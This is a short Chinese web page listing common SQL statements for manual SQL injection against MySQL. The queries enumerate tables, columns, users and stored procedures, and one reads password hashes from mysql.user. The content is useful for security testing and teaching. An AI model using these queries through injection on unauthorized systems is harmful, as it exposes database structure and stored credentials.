手工sql注入常用sql语句
时间: 2023-10-07 09:14:31 浏览: 110
手工注入常用SQL语句.txt
以下是常用的手工SQL注入语句:
1. 判断版本号
```sql
SELECT @@VERSION
```
2. 列出当前数据库中的所有表
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
```
3. 列出指定表中的所有列
```sql
SELECT column_name FROM information_schema.columns WHERE table_name='table_name'
```
4. 获取当前用户
```sql
SELECT user()
```
5. 获取当前数据库名
```sql
SELECT database()
```
6. 获取当前登录用户的密码哈希值
```sql
SELECT password FROM mysql.user WHERE user='current_user'
```
7. 获取当前数据库版本
```sql
SELECT @@version
```
8. 查询指定表中的前N条记录
```sql
SELECT * FROM table_name LIMIT N
```
9. 获取当前数据库的所有用户
```sql
SELECT DISTINCT User FROM mysql.user
```
10. 列出当前数据库中所有存储过程
```sql
SELECT name FROM mysql.proc WHERE db = 'current_database'
```
阅读全文